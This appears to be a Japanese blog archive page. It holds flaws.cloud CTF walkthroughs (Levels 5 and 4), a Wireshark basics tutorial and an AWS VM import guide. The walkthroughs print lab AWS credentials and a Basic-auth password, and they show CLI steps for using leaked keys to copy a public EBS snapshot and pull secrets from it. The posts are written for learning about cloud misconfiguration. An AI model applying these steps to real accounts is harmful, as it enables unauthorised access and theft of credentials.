$ cat ~/.aws/credentials [flawstest] aws_access_key_id = ASIA6GG7PSQG7AROHMFN aws_secret_access_key = tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe vim ~/.aws/credentials [flawstest] aws_access_key_id = ASIA6GG7PSQG7AROHMFN aws_secret_access_key = tzd4e7LOdSKPI4A2rR7sUMPTTvh12tlbbeprxBEe aws_session_token = IQoJb3JpZ2luX2VjEOv//////////wEaCXVzLXdlc3QtMiJHMEUCIQDZr5VE2wCVSKorbQp4QsQhMYAPW57QcOdMgfOtYFYTEgIgGe5W8C3d4yuD2IW57OhR5GgnFeMxWSoTEsuC4LzFI40qvQMIpP//////////ARAAGgw5NzU0MjYyNjIwMjkiDMDJ6PttBOzFTUUxriqRA4G45awz0lX2ZBCP5GyKaRzlun0Z/7pqtAH+mqamde0wk92Odac6psnQ9du6X/MFdjg/oi0Wy4ph4tEDuFl1rDpAqN99wqZtIUS4q0V3PpILiAsVAoGUvdfAA0dw5y9B9x+G7aW80mkWTJd4Gn5mg6Ji2wImI/4RXsu0j3TUzpylCyWtCQHLekqS6cV0j1pokYYeq3RBBCA8X6dpjCO9qQHg4f7YCAtrzT0oAlNDMK1tae8JkX9pClj7+53kBXVzC+43KwRTrCwXQtuh9ANbWIQu3xP4cVeuzckvFdO3TxoVR7Dq7wC3Ro0ceYl+LX1uwFg/wGq/t/ATCTQbcPOA/VpRR3cmFaZ20BXMP5EJ7I1SeeHog8KpURXoboiW6fP1X2qDQL8YT8Kg1xJ7FgEPOAVhOS3/kA+ghglBwPm0KJ8lYtaSOEkLG5kREX6Ij0UL42nh3ZQZ9S40XkAUPUHrqgQSTnDIlz2nZ734gLscPe5Y/BdycSHoecuJddgITbnqonrQmsRsz1f9Vuh8TYhSrJYWMIm2pPIFOusBdMXseVsfP+tFSreYU4KOaPQ4J5B/c+TP/VPKiWU3QnQOphrXPsCscETB69Lbf3aqcfuRgUuaJx6MVbgwGxyTQzny8GgCRdy+jCQdf3SHNQZ8akECa9N/D7waMU5uG0BxSPeDPfIqTPQqeL5aw5KKqlTomuPKslVMRf0aZg9HJuWCh7DxmD+nAJzRp2NT95s81dQtzvYefaA8xTbAO8ljumO7UOhbhhQjY/Z+l/JePXTLser281xBkckbYZAtikEHCbj54Vb4X3EhH5GHK40NlbLU7mVP+n849QMvrTK9s903oEQz9jdQHtiyqA==
aws s3 ls
コマンドでlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
の中身を確認します。
$ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flawstest PRE ddcc78ff/ 2017-02-27 02:11:07 871 index.html
ddcc78ff/
というディレクトリがあるようです。続けて確認してみます。
$ aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/ --profile flawstest 2017-03-03 04:36:23 2463 hint1.html 2017-03-03 04:36:23 2080 hint2.html 2017-03-03 04:36:25 2782 index.html
なんかここがゴールっぽいのでlevel6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/
をブラウザアクセスします。
Level 6の画面が出てきたのでLevel 5クリアです!
やってみた感想
Level 6の画面にも書いてある通り、
「The IP address 169.254.169.254 is a magic IP in the cloud world.」
IPアドレス169.254.169.254は、クラウドの世界では魔法のIPですねw
たまたま.bash_history
で見つけれたものの、これを知らないと今回の問題は解けなさそうです。
EC2 の IAM ロールのドキュメントにもしっかり書いてありますが、インスタンスメタデータiam/security-credentials/role-name
のロールからセキュリティ認証情報を取得できてしまいます。
IAMロールでインスタンスメタデータを使用するサービスを使用する場合は、 サービスで HTTP呼び出しが行われるときに認証情報を公開しないように注意する必要があります。
認証情報を公開できるサービスの種類は以下の通りです。
優秀な攻撃者だったら「HTTP プロキシ」という単語だけでこの攻撃手段が思いついちゃいますね。
この辺は、本当に知らないと守りようが無い気がしますので、 皆さんもお気をつけてください。
毎度、毎度の宣伝ですが、このようなあまり普段だと意識していないセキュリティリスクも学べますので、 皆様も是非チャレンジしてみては如何でしょうか?
Wiresharkでパケット解析する 基本編
今更ですが!
普段、僕が良く使うWiresharkの基本的な使い方を書いておきます。
今後セキュリティの勉強でハッキング系の本を購入予定の方は
高確率で出現してくるツールですので、
そういった本を購入予定の方はお世話になるかと思います。
Wiresharkって何ができるの?
Wiresharkは言わずと知れたパケット解析ツールで
PCやサーバ、ネットワーク機器などに流れるパケットをキャプチャできます!
Wiresharkのインストール
インストール手順は長くなってしまいますので、
以下のサイトを参考にしていただければ簡単にインストールできるかと思います。
www.ipentec.com
Wiresharkでパケット解析
パケットキャプチャの開始
Wiresharkを起動するとPCで利用しているネットワークインターフェイスと、
そのインターフェイス上を流れるトラフィック量が
リアルタイムで心拍数みたいなグラフに表示されています。
パケットキャプチャ対象のネットワークインターフェイスをクリックすると
パケットキャプチャを開始できます。
キャプチャを開始すると指定したネットワークインターフェイスを流れる
パケットの情報がどばどば流れ始めます。
これで、キャプチャされているすべてのパケット情報が見れる状態となりました。
ただ、このままでは情報量が多く追うのが大変です。
より詳細にパケット情報を解析したい場合はフィルタ機能使う必要があります。
フィルタ機能について
表示フィルタ
Wiresharkのデフォルト設定は、キャプチャされたすべてのパケット情報が
どばどば流れてきて情報を追うのが大変になることがあります。
そうゆう時に使えるのが「表示フィルタ」機能です。
例えば、「表示フィルタ」にtcp
でフィルタをかけると
TCPを利用しているパケット情報のみが表示されるようになります。
以下に使用できるフィルタ一覧が書いてあるマニュアルを載せておきます。
いろいろ試していただければと思います。
www.wireshark.org
また、「表示フィルタ」はキャプチャされたデータから必要な情報のみを抜き出して表示するので 長時間のキャプチャをおこなうとファイルサイズが大きくなりがちです。
キャプチャフィルタ
Wiresharkには「表示フィルタ」とは別にキャプチャ時にあらかじめ指定した
パケットだけを取得する「キャプチャフィルタ」という機能があります。
キャプチャの実行時に「このフィルタを利用」欄にフィルタしたい内容を
記載しキャプチャを開始します。
僕がよく使う項目を以下にいくつかまとめておきました。
記述例 | フィルタ内容 |
---|---|
ether src <MACアドレス> | 送信元が指定したMACアドレスのイーサネット |
ether host <MACアドレス> | 送信元または宛先が指定したMACアドレスのイーサネット |
ip src host <IPアドレス> | 送信元が指定したIPアドレスのパケット |
ip host <IPアドレス> | 送信元または送信先が指定したIPアドレスのパケット |
ip | IPv4のパケット |
tcp | TCPパケット |
詳細や具体例については以下のmanページに書いてあります。 www.tcpdump.org
また、「キャプチャフィルタ」は特定のパケットのみをキャプチャすることができるので
長時間のキャプチャをおこなってもある程度ファイルサイズを削減できるので
個人的に「キャプチャフィルタ」がオススメです。
パケットキャプチャの色分けルールについて
流れてくるパケット情報を見ているといくつか色のついたパケット情報があります。
Wiresharkには「色付けルール」機能があり、
パケットの種類ごとに項目が色分けをして通信内容を区別できるようできます。
以下のようにメニューバーから「色付けルール」を選択すると設定内容が確認できます。
初期設定はこんな感じです。
自分好みに設定変更したい方は以下を参照していただければ何かつかめるかと思います。 wiki.wireshark.org
まとめ
より詳しく書いていきたかったのですが、
長くなりそうだったので基本編として今回は簡単な機能紹介としました。
いくつか公式ドキュメントを添付しましたが読んでも「よくわからん!」と
なるかと思いますので、より詳細に各機能をピックアップした記事を書いていきます。
なので、今回はインストールした後簡単なパケットキャプチャまでとしました。
気になる方は以下の「パケットキャプチャの教科書」などを読んでみるのもいいかもしれません。 個人的にオススメです。 honto.jp
aws ec2 import-imageを使ってVMwareイメージをAMIにインポートしてみた
VMwareイメージをAWS移行するって話があるかなと思い検証しました!
参考にしたドキュメント aws.amazon.com
VMwareイメージのインポートについて
AWS環境のEC2でVM を使用する際、AMIにインポートや
直接インスタンスとしてEC2 にインポートすることができます。
今回は個人的に使い勝手がいいなと思う、AMIにインポートする手順をまとめました。 AMIへのインポートの場合、AMIからインスタンスの作成時に セキュリティグループやEBSサイズの指定などができます。
また、CloudFormationでのテンプレートに組み込みが簡単なのはうれしいです!
インスタンスのインポートについては
AWSの公式サイトに記載されていますので、
気になる方はご確認いただければと思います。
手順の大まかな概要
- 作業用PCにAWS CLIのインストール
- VM Import/Exportの事前準備
- VMwareから必要イメージファイルをエクスポート
- VMイメージファイル格納用のS3バケット作成・アップロード
- VM Import/Export用のIAM ロール (vmimport) の作成
- VMのインポート
作業用PCにAWS CLIのインストール
インポートコマンドを実行するために使用する作業用PCに AWS CLIをインストールしていない場合は、 AWS CLI のインストールを参照してインストールします。
VM Import/Exportの事前準備
※今回はCentOS 7を対象とします。
※実行前にVM Import/Export の要件を確認しておきましょう。
全般
IAM ユーザーに必要なアクセス許可
IAMユーザーとしてログインしている場合は
VM Import/Export を使用するには、IAM ポリシーに以下アクセス許可が必要です。
IAM ポリシー
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListAllMyBuckets"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"s3:CreateBucket",
"s3:DeleteBucket",
"s3:DeleteObject",
"s3:GetBucketLocation",
"s3:GetObject",
"s3:ListBucket",
"s3:PutObject"
],
"Resource": ["arn:aws:s3:::mys3bucket","arn:aws:s3:::mys3bucket/*"]
},
{
"Effect": "Allow",
"Action": [
"iam:CreateRole",
"iam:PutRolePolicy"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"ec2:CancelConversionTask",
"ec2:CancelExportTask",
"ec2:CreateImage",
"ec2:CreateInstanceExportTask",
"ec2:CreateTags",
"ec2:DeleteTags",
"ec2:DescribeConversionTasks",
"ec2:DescribeExportTasks",
"ec2:DescribeExportImageTasks",
"ec2:DescribeInstanceAttribute",
"ec2:DescribeInstanceStatus",
"ec2:DescribeInstances",
"ec2:DescribeTags",
"ec2:ExportImage",
"ec2:ImportInstance",
"ec2:ImportVolume",
"ec2:StartInstances",
"ec2:StopInstances",
"ec2:TerminateInstances",
"ec2:ImportImage",
"ec2:ImportSnapshot",
"ec2:DescribeImportImageTasks",
"ec2:DescribeImportSnapshotTasks",
"ec2:CancelImportTask"
],
"Resource": "*"
}
]
}
権限がなければ、専用のIAMユーザを作成するのもありかと思います。
新規作成をした場合は、AWS CLIにこのユーザ情報を記載を忘れずに。。。
AWS CLIのインストール
作業用PCと同様にAWS CLI のインストールを参照してインストールします。
VMware Toolsをアンインストール
VMware Toolsをインストールしている場合は
以下の手順を参考にアンインストールしてください。
docs.vmware.com
静的IPアドレスを設定している場合はDHCPに設定に変更する
DHCPに設定していなければ以下の手順を参考に設定変更をしてください。
access.redhat.com
その他
- CD-ROM ドライブを利用している場合は切断する必要があります。
- VM のウイルス対策ソフトウェアまたは侵入検出ソフトウェアを利用している場合、無効にする必要があります。
- インポートプロセスが完了したら、これらのサービスを再度有効にすることができます。
Linux
リモートアクセスの設定
リモートアクセスの有効化をおこなっていない場合は
以下の手順を参考に必要な設定をしてください。
access.redhat.com
ホストのファイアウォールでリモートアクセスが許可されていなければ
以下の手順を参考に必要な設定をしてください。
access.redhat.com
公開鍵ベースのリモートアクセスが許可されていなければ
以下の手順を参考に必要な設定をしてください。
access.redhat.com
ブートローダーの確認
対象のブートローダーは以下の通りです。
以下のコマンドで対象のブートローダーを使用している確認します。
$ sudo dd if=/dev/sda count=1 | strings
ルートファイルシステムの確認
対象のルートファイルシステムは以下の通りです。
以下のコマンドで利用しているルートファイルシステムを確認します。
$ cat /etc/fstab
VMwareから必要イメージファイルをエクスポート
以下のVMwareサイトで利用しているVMwareの「OVAファイルをエクスポート」手順を検索し、その手順に従って作業をおこなえばエクスポートが可能です。 docs.vmware.com
VMイメージファイル格納用のS3バケット作成・アップロード
先ほど、エクスポートしたOVAファイルやVMDKファイルを格納するS3を
AWSコンソールまたは以下のAWS CLIコマンドで作成します。
$ aws s3 mb s3://bucket-name make_bucket: bucket-name $ aws s3 cp test.ovf s3://bucket-name/ upload: ./test.ovf to s3://bucket-name/test.ovf $ aws s3 ls s3://bucket-name 2020-01-07 03:35:00 317 file.txt
VM Import/Export用のIAM ロール (vmimport) の作成
trust-policy.json
という名前のファイルを作成しポリシーをファイルに追加します。
$ vim trust-policy.json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "vmie.amazonaws.com" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals":{ "sts:Externalid": "vmimport" } } } ] }
create-role
コマンドを使用して、vmimport
ロールを作成し、
ロールへのアクセス権を前の手順で作成したtrust-policy.json
をもとに付与します。
$ aws iam create-role --role-name vmimport --assume-role-policy-document file://trust-poolicy.json { "Role": { "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Condition": { "StringEquals": { "sts:Externalid": "vmimport" } }, "Principal": { "Service": "vmie.amazonaws.com" } } ] }, "RoleId": "AROA2PLMIQDORKZYZRYOO", "CreateDate": "2020-01-07T01:14:37Z", "RoleName": "vmimport", "Path": "/", "Arn": "arn:aws:iam::xxxxxxxxxxxx:role/vmimport" } }
role-policy.json
という名前のファイルを作成します。
disk-image-file-bucket
はバケットは先ほど作成したバケット名を指定します。
$ vim role-policy.json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:ListBucket", "s3:GetBucketLocation" ], "Resource": [ "arn:aws:s3:::disk-image-file-bucket" ] }, { "Effect": "Allow", "Action": [ "s3:GetObject" ], "Resource": [ "arn:aws:s3:::disk-image-file-bucket/*" ] }, { "Effect": "Allow", "Action":[ "ec2:ModifySnapshotAttribute", "ec2:CopySnapshot", "ec2:RegisterImage", "ec2:Describe*" ], "Resource": "*" } ] }
put-role-policy
コマンドを使用して上記で作成したvmimport
ロールにポリシーをアタッチします。
$ aws iam put-role-policy --role-name vmimport --policy-name vmimport --policy-document file://role-policy.json
VMのインポート
インポートする各種パラメータを定義したcontainers.json
というファイルを作成します。disk-image-file-bucket
の箇所は作成したバケット名を指定してください。
単一ディスク(VMDKファイルが1つ)の場合
[ { "Description": "First disk", "Format": "vmdk", "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk1.vmdk" } } ]
複数ディスク(VMDKファイルが複数)の場合
[ { "Description": "First disk", "Format": "vmdk", "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk1.vmdk" } }, { "Description": "Second disk", "Format": "vmdk", "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk2.vmdk" } } ]
import-image
を使用してインポートタスクを作成します。
$ aws ec2 import-image --description "My server disks"--disk-containers file://containers..json { "Status": "active", "Description": "My server disks", "SnapshotDetails": [ { "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk1.vmdk" }, "DiskImageSize": 0.0, "Format": "VMDK" }, { "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk2.vmdk" }, "DiskImageSize": 0.0, "Format": "VMDK" } ], "Progress": "2", "StatusMessage": "pending", "ImportTaskId": "import-ami-xxxxxxxxxxxxx" }
Progress
が100になれば完了となります。
体感ですが結構待ちましたので気長に待ってください。
途中の進捗状況を確認はdescribe-import-image-tasks
コマンドで可能です。
$ aws ec2 describe-import-image-tasks --import-task-ids import-ami-xxxxxxxxxxxxx "ImportImageTasks": [ { "Status": "active", "Description": "testcslabo48", "SnapshotDetails": [ { "Status": "completed", "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk1.vmdk" }, "DiskImageSize": 1932634112.0, "Description": "First disk", "Format": "VMDK" }, { "Status": "completed", "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk2.vmdk" }, "DiskImageSize": 76800.0, "Description": "Second disk", "Format": "VMDK" } ], "Progress": "20", "StatusMessage": "updating", "ImportTaskId": "import-ami-xxxxxxxxxxxxx" } ] }
途中でキャンセルする場合はcancel-import-task
コマンドを実行します。
$ aws ec2 cancel-import-task --import-task-id import-ami-xxxxxxxxxxxxx
Status
がcompleted
になればAMIが使用可能になります。
$ aws ec2 describe-import-image-tasks --import-task-ids import-ami-xxxxxxxxxxxxx { "ImportImageTasks": [ { "Status": "completed", "LicenseType": "BYOL", "Description": "My server disks", "ImageId": "ami-xxxxxxxxxxxx", "Platform": "Linux", "Architecture": "x86_64", "SnapshotDetails": [ { "Status": "completed", "DeviceName": "/dev/sda1", "Description": "First disk", "Format": "VMDK", "DiskImageSize": 1932634112.0, "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk1.vmdk" }, "SnapshotId": "snap-xxxxxxxxxxxx" }, { "Status": "completed", "DeviceName": "/dev/sdf", "Description": "Second disk", "Format": "VMDK", "DiskImageSize": 76800.0, "UserBucket": { "S3Bucket": "my-import-bucket", "S3Key": "my-server-vm-disk2.vmdk" }, "SnapshotId": "snap-xxxxxxxxxxxxx" } ], "ImportTaskId": "import-ami-xxxxxxxxxxxxx" } ] }
これでAMIが使えますのでAMIをもとにEC2を作成してみてください。
最後に
やってみた結果一番詰まるのは「VM Import/Exportの事前準備」かなと思います。
僕も実際にやったときはSSHユーザをつくり忘れてしまい
ログインも何もできないただの箱が出来上がりました。
「VM Import/Exportの事前準備」は各環境で実行手順がまちまちですので、
サービスの環境などでおこなう際はしっかりと確認していただけたら幸いです。
flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 4
この記事は下記のブログの続きです!
Level 1〜Level 3でおこなった手順は省略してますのでご注意ください。
まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。
chikoblog.hatenablog.jp
※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。
Level 4
トップページはこんな感じです。
「For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.」
とりあえず、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
のEC2で実行されているWEBページにアクセスしろってことですね多分…
また、このEC2はNginxがセットアップされた直後にスナップショットが作成されたようです。これは知っておくと役立つと書いてあるのでヒントですかね。
とりあえず進めてみる
今回はS3へのアクセスは特に意味がないようです。
いつも通りの手順でaws s3 ls
までやってみたところ
AccessDenied
が帰ってきました。
$ aws s3 ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/ An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Level 3で手に入れたaccess_key
とsecret_access_key
を
使ったAWSアカウントでも同じ結果が帰ってきました。
$ aws s3 ls s3://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/ --profile testchiko An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
※testchiko
は以下の記事の時にAWSアカウントを手に入れて作ったプロファイルです。
chikoblog.hatenablog.jp
やはり4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
が動いている
EC2の情報を手に入れなければいけないようです。
とりあえず4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
に
ブラウザアクセスするとBasic認証がかかっていて何も見れないですね。
現状何も手がかりがないので今持っているもので情報を集めます。
Level 3で手に入れたAWSアカウントtestchiko
のAWSアカウントの情報を取得します。
$ aws sts get-caller-identity --profile testchiko { "UserId": "AIDAJQ3H5DC3LEG2BKSLC", "Account": "975426262029", "Arn": "arn:aws:iam::975426262029:user/backup" }
backup
ユーザのようなのでヒントに
「このEC2はNginxがセットアップされた直後にスナップショットが作成」と
書いてあったので、このAWSアカウントがEC2と関わりがありそうな気がします。
このアカウントを使い稼働しているEC2インスタンスの情報を
aws ec2 describe-instances
で取得してみます。
$ aws ec2 describe-instances --filter "Name=instance-state-name,Values=running" --profile testchiko |grep ec2 "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com", "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com", "PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
aws ec2 describe-instances
の全文は以下に記載しておきます。
長すぎたのでgrep
しちゃいました。。。
aws ec2 describe-instances
$ aws ec2 describe-instances --filter "Name=instance-state-name,Values=running" --profile testchiko
{
"Reservations": [
{
"Groups": [],
"Instances": [
{
"AmiLaunchIndex": 0,
"ImageId": "ami-7c803d1c",
"InstanceId": "i-05bef8a081f307783",
"InstanceType": "t2.micro",
"KeyName": "Default",
"LaunchTime": "2017-02-12T22:29:24.000Z",
"Monitoring": {
"State": "disabled"
},
"Placement": {
"AvailabilityZone": "us-west-2a",
"GroupName": "",
"Tenancy": "default"
},
"PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
"PrivateIpAddress": "172.31.41.84",
"ProductCodes": [],
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"PublicIpAddress": "35.165.182.7",
"State": {
"Code": 16,
"Name": "running"
},
"StateTransitionReason": "",
"SubnetId": "subnet-d962aa90",
"VpcId": "vpc-1052ce77",
"Architecture": "x86_64",
"BlockDeviceMappings": [
{
"DeviceName": "/dev/sda1",
"Ebs": {
"AttachTime": "2017-02-12T22:29:25.000Z",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-04f1c039bc13ea950"
}
}
],
"ClientToken": "kTOiC1486938563883",
"EbsOptimized": false,
"Hypervisor": "xen",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::975426262029:instance-profile/flaws",
"Id": "AIPAIK7LV6U6UXJXQQR3Q"
},
"NetworkInterfaces": [
{
"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"PublicIp": "35.165.182.7"
},
"Attachment": {
"AttachTime": "2017-02-12T22:29:24.000Z",
"AttachmentId": "eni-attach-a4901fc2",
"DeleteOnTermination": true,
"DeviceIndex": 0,
"Status": "attached"
},
"Description": "",
"Groups": [
{
"GroupName": "launch-wizard-1",
"GroupId": "sg-490f6631"
}
],
"Ipv6Addresses": [],
"MacAddress": "06:b0:7a:92:21:cf",
"NetworkInterfaceId": "eni-c26ed780",
"OwnerId": "975426262029",
"PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
"PrivateIpAddress": "172.31.41.84",
"PrivateIpAddresses": [
{
"Association": {
"IpOwnerId": "amazon",
"PublicDnsName": "ec2-35-165-182-7.us-west-2.compute.amazonaws.com",
"PublicIp": "35.165.182.7"
},
"Primary": true,
"PrivateDnsName": "ip-172-31-41-84.us-west-2.compute.internal",
"PrivateIpAddress": "172.31.41.84"
}
],
"SourceDestCheck": true,
"Status": "in-use",
"SubnetId": "subnet-d962aa90",
"VpcId": "vpc-1052ce77",
"InterfaceType": "interface"
}
],
"RootDeviceName": "/dev/sda1",
"RootDeviceType": "ebs",
"SecurityGroups": [
{
"GroupName": "launch-wizard-1",
"GroupId": "sg-490f6631"
}
],
"SourceDestCheck": true,
"StateReason": {
"Code": "",
"Message": ""
},
"VirtualizationType": "hvm",
"CpuOptions": {
"CoreCount": 1,
"ThreadsPerCore": 1
},
"CapacityReservationSpecification": {
"CapacityReservationPreference": "open"
},
"HibernationOptions": {
"Configured": false
},
"MetadataOptions": {
"State": "applied",
"HttpTokens": "optional",
"HttpPutResponseHopLimit": 1,
"HttpEndpoint": "enabled"
}
}
],
"OwnerId": "975426262029",
"ReservationId": "r-0fe151dbbe77e90cc"
}
]
}
EC2のインスタンスID
ec2-35-165-182-7.us-west-2.compute.amazonaws.com
を手に入れました。
ここで気が付いたのですが、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
をdig
すれば
ec2-35-165-182-7.us-west-2.compute.amazonaws.com
が持ってこれました。
$ dig any 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud +short ec2-35-165-182-7.us-west-2.compute.amazonaws.com.
これで4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
が動いている
EC2がec2-35-165-182-7.us-west-2.compute.amazonaws.com
でほぼ確定です。
また、このEC2があるAWSアカウントもLevel 3で手に入れたものです。
手に入れた情報をもとにaws ec2 describe-snapshots
で
ヒントにあったスナップショットを探してみます。
$ aws ec2 describe-snapshots --owner-id 975426262029 --profile testchiko { "Snapshots": [ { "Description": "", "Encrypted": false, "OwnerId": "975426262029", "Progress": "100%", "SnapshotId": "snap-0b49342abd1bdcb89", "StartTime": "2017-02-28T01:35:12.000Z", "State": "completed", "VolumeId": "vol-04f1c039bc13ea950", "VolumeSize": 8, "Tags": [ { "Key": "Name", "Value": "flaws backup 2017.02.27" } ] } ] }
スナップショットの情報snap-0b49342abd1bdcb89
を手に入れたので
これの活用法として自分のアカウントに持っていくしか思いつかない。。。
とりあえず、このスナップショットが復元できるかがわかる
createVolumePermission
の情報をaws ec2 describe-snapshot-attribute
で確認します。
$ aws ec2 describe-snapshot-attribute --profile testchiko --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission { "CreateVolumePermissions": [ { "Group": "all" } ], "SnapshotId": "snap-0b49342abd1bdcb89" }
CreateVolumePermissions
のGroup
の値がall
になっています。
誰でもこのスナップショットからボリュームを作成できるので、
ec2 create-volume
を使って自分のAWSアカウントにEBSボリュームを作成します。
$ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 { "AvailabilityZone": "us-west-2a", "CreateTime": "2019-12-27T11:23:03.000Z", "Encrypted": false, "Size": 8, "SnapshotId": "snap-0b49342abd1bdcb89", "State": "creating", "VolumeId": "vol-05aade78cd809a70c", "Iops": 100, "Tags": [], "VolumeType": "gp2" }
自分のAWSアカウントに無事に作成できました。
このボリュームを自分のEC2にアタッチしてSSHでログインすると
ec2-35-165-182-7.us-west-2.compute.amazonaws.com
の中身を確認できます。
中身を確認するにはlsblk
で現在利用できるブロックデバイスを一覧表示を確認します。
$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda 202:0 0 8G 0 disk └─xvda1 202:1 0 8G 0 part / xvdf 202:80 0 8G 0 disk └─xvdf1 202:81 0 8G 0 part
ブロックデバイスxvdf
とマウントされていないパーティションxvdf1
が作成されているようです。
一先ず、パーティションxvdf1
の情報をfile
コマンドで確認してみます。
$ sudo file -s /dev/xvdf1 /dev/xvdf1: Linux rev 1.0 ext4 filesystem data, UUID=5a2075d0-d095-4511-bef9-802fd8a7610e, volume name "cloudimg-rootfs" (extents) (large files) (huge files)
ファイルシステムはできているようなので、マウントしてあげます。
# sudo mkdir /mnt/xvdf1 # sudo mount /dev/xvdf1 /mnt/xvdf1/
これで色々調べられるようになったので、ヒントに書いてあった通りNginxが使われているようなので設定ファイルを探していきます。
また、4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
へ
ブラウザアクセスした際にBasic認証をしているにはわかっていますので
その辺の設定ファイルがあればほぼ勝ちです。
find
でディレクトリとファイルを探します。
$ sudo find /mnt/xvdf1/ -type d -name nginx /mnt/xvdf1/usr/share/nginx /mnt/xvdf1/usr/share/doc/nginx /mnt/xvdf1/etc/nginx /mnt/xvdf1/var/lib/nginx /mnt/xvdf1/var/log/nginx
ディレクトリは/mnt/xvdf1/etc/nginx
のようです。
とりあえず、ls -la /mnt/xvdf1/etc/nginx
を実行します。
$ ls -la /mnt/xvdf1/etc/nginx/ 合計 68 drwxr-xr-x 6 root root 4096 2月 19 2017 . drwxr-xr-x 94 root root 4096 2月 19 2017 .. -rw-r--r-- 1 root root 44 2月 13 2017 .htpasswd drwxr-xr-x 2 root root 4096 10月 27 2016 conf.d -rw-r--r-- 1 root root 1077 4月 26 2016 fastcgi.conf -rw-r--r-- 1 root root 1007 4月 26 2016 fastcgi_params -rw-r--r-- 1 root root 2837 4月 26 2016 koi-utf -rw-r--r-- 1 root root 2223 4月 26 2016 koi-win -rw-r--r-- 1 root root 3957 4月 26 2016 mime.types -rw-r--r-- 1 root root 1533 2月 19 2017 nginx.conf -rw-r--r-- 1 root root 180 4月 26 2016 proxy_params -rw-r--r-- 1 root root 636 4月 26 2016 scgi_params drwxr-xr-x 2 root root 4096 2月 19 2017 sites-available drwxr-xr-x 2 root root 4096 2月 19 2017 sites-enabled drwxr-xr-x 2 root root 4096 2月 12 2017 snippets -rw-r--r-- 1 root root 664 4月 26 2016 uwsgi_params -rw-r--r-- 1 root root 3071 4月 26 2016 win-utf
Basic認証に使われていそうな.htpasswd
が見つかりました。
サクッと開いてみる。
$ cat /mnt/xvdf1/etc/nginx/.htpasswd flaws:$apr1$4ed/7TEL$cJnixIRA6P4H8JDvKVMku0
IDパスワードゲット!これでBasic認証突破!
...と思いましたがこれではアクセスできませんでした。
おそらくハッシュ化されていますね。
いろいろ、探してみた結果、/mnt/xvdf1/home/ubuntu/setupNginx.sh
で
.htpasswd
が変更されているようです。
ちなみに僕は.bash_history
を見つけたのでそれ読んでたら
setupNginx.sh
ってなんや?と思い開いてみたら答えでしたw
$ cat /mnt/xvdf1/home/ubuntu/setupNginx.sh htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
へ
以下の情報でBasic認証を突破します。
ユーザID:flaws
パスワード:nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M
Level 4クリアです!
やってみた感想
今回の目玉はスナップショットの情報が抜かれることにより、
EC2を別アカウントに作成されて必要な情報が抜かれるリスクがあるということです。
ただ、攻撃者は基本相手のAWSキーを手に入れていないとここまでのことはできませんが、どこかでAWSキーが流出していたらこうゆう事もされる可能性がありますね。
アカウントの管理はしっかり決めておかねばいけませんね。。。
この辺りから作業のレベルが上がってきており、
僕も解くのに4、5時間かかりました。
技術力がある方はこのあたりの問題から面白くなってくるのではないかと個人的に思います。
あと、AWSトレーニングで習ったAWS CLI
